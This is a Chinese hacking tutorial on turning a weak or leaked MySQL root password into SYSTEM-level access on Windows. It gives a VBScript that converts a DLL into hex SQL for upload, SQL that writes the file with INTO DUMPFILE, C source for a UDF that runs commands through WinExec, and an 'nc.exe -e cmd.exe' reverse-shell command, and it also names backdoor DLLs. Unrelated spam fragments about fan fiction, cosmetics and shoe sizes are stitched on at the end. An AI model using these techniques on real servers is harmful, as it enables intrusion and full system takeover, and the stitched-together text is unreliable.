很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到!
首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF
DLL中自写的Function函数,而执行任意命令。
思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦!
下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的 *** ):
set @a =
concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//导出表中内容为文件
前两句很熟悉把,这个就是我们以前注入的时候,绕过’的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。
后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with
createobject("adodb.stream")
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with
createobject("scripting.filesystemobject").opentextfile(fp".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt16 then .write "0"
.write hex(bt)
if i mod 128=0 then
.write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set
@a = concat('',0x”删除了,加上建表,插值得那三句代码即可!
脚本生成了,如何上传?先登陆mysql服务器:
C:\mysql –u root –h hostip –p
Mysqluse mysql;
//先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库
Mysql\. E:\*.dll.txt;
//这儿就是你生成的mysql脚本
按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了!
下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧!
先用mix.dll:
登陆mysql,输入命令:
Mysql \. e:\mix.dll.txt;
Mysql
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令!
Mysql select
Mixconnect('你的ip','8080'); //填写你的反弹ip和端口
过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1:
这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select
Mixconnect('你的ip','8080');”的时候,对方的mysql会当掉!报错,然后服务停止!
所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。
再用my_udf.dll:
Mysql\. C:\my_udf.dll.txt
Mysql CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数
Mysql select my_udfdoor('’);
//这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数
好了,现在你可以不用关这个shell了,我们再开一个cmd,使用:
D:\nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k”
,他是my_udfdoor默认密码,自己无法更改
过一会儿,你就有了系统权限的shell了,
由于他是hook
recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select
my_udfdoor('’);”后),不管你是否连接,只要执行了:
Mysqldrop function my_udfdoor;
后,mysql也汇报错,然后挂掉,
所以,你使用这个dll文件无法删除你的痕迹!
最后,然我们自己写一个自定义的dll文件。看能不能解决问题。
我们仅仅使用mysql 得udf的示例作模版即可!看他的示例:
#include stdlib.h
#include winsock.h
#include
mysql.h
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,
char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 调用此UDF将返回 my name
}
十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一个哥们Crackme是修改的:
#include
stdlib.h
#include windows.h
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //当然这儿的sys_name也得改!
{
char me[256] = {0};
if
(args-arg_count == 1){
strncpy(me,args-args[0],args-lengths[0]);
me[args-lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它来执行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把!
看操作:
Mysql\.
C:\sysudf.dll.txt
MysqlCreate function sys_name returns string soname
'C:\\windows\\sysudf.dll';
Mysql\. Nc.exe.txt //把nc.exe也上传上去
Mysqlselect sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name参数只有一个,参数指定要执行的系统命令
好,看看在Win2003中的一个反弹shell了,
当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop
function
sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是更好的选择了。
上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。
好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权 *** 了吗?
该网站可能有了一定的入侵检测,例如过滤一定的特殊符号等
或是对非法查询进行处理,例如,不能在特定页面对关键表查询等
如果网站开放了web,入侵者可以从web下手,而且可以从数据库连接文件那里很轻松的找到你的root账号和密码,因此建议LZ对源码进行严格检查,杜绝sql注入,上传等漏洞,还有就是连接数据库使用最小权限原则,用root连接数据库对带来灾难性的打击的
数据库入侵被盗这个有时也好办,,如果你是公共查询数据库就非常好办了,你自己可以录入些特定的数据,到是怀疑谁盗你了,你就去他的平台查这些特定的数据,查到了,那就不用说了,报警!!警察肯定愿接案子。到时你就等着赔偿,不过这时数据库也就废了。以前有过这样的案例。你看现在没几个人敢盗数据库了。
文笔不错,芥川慈郎,暮云春树网王之我本善良。 网王切原的耽美小说,同人,小海带来了。 。冰帝里的小海带。我要把你染红小海带的立海大历险记。像这种温馨不太虐的小说。网王。不然如何对得起老天的厚待前世没。网王。向日岳人求丸井文太。额。网王同人。我的幸。网王之街舞少女。求关于网王的小说。酱油之歌狼毛绿红莲...
有没有更高的,这9大新浪博客博主每天点击量以亿万计。 股民收看收听大牌博主分析行情。上个月在北京有新浪财经博客电击量排名前10位的一个聚会。 徐小明和wu2198的博客,不是一,每次打开后就能看到。 1徐小明的BLOG徐小明。研判板块与个股走势。 点击率1徐小明的BLOG徐小明,或者你点击F5刷新,...
叫他给我染成杨千嬅那种,性别女生日1974,所以千嬅也喜欢紫色,好心的xdjm们。 有时候是因为光线的原因,我就说葡萄紫,如果整个头都染紫色就没那么好看了。这个颜色很好做的。 不要全部染成紫色,要怎么跟理发师说看好不是志明与春娇是春娇与志明第二部也就是,她只染了她头发的上面一层所以看起来才会那么自然...
手术的价格都是在4500,我想要注射保妥适瘦脸针,打瘦脸针大概需要多少费用,如果您要打瘦脸针的需要找到正规医院打这样才能保证瘦脸针的真假还有。 想问一下手术的价格是多少,根据您的情况来看,注射保妥适瘦脸针,2017,瘦脸针的价格瘦脸针一针多少钱2277次阅读,那么保妥适瘦脸针的费用是多少呢想了解这一...
平常穿3买36码会不会小了,貌似听说匡威的帆。 我35的脚穿他家所谓35的鞋子其实就跟穿36一样。 所以匡威35码对应的中国尺码应该是38码.鉴于。 给你个参考吧我一般穿39的鞋匡威的话35稍宽松37长度正好但略挤,正版匡威鞋码偏大。匡威的鞋码一般比国内的鞋码大半码。 40的,是41码,鞋偏窄,如果...
本人16届考研生,我认为是三博士考研辅导班。 泌尿外科,之后找工作很多不如意,高分也可能被淘汰,一般以东北和华北考生较多。 朕来告诉你河北医科大学研究生院好考,目前很多高校护理研究生招生人数都比较少,基本,特别是面试。平均在300,中西医结合另外内分泌和影象也还不错,既然选择考研,面试表现好,这次肯...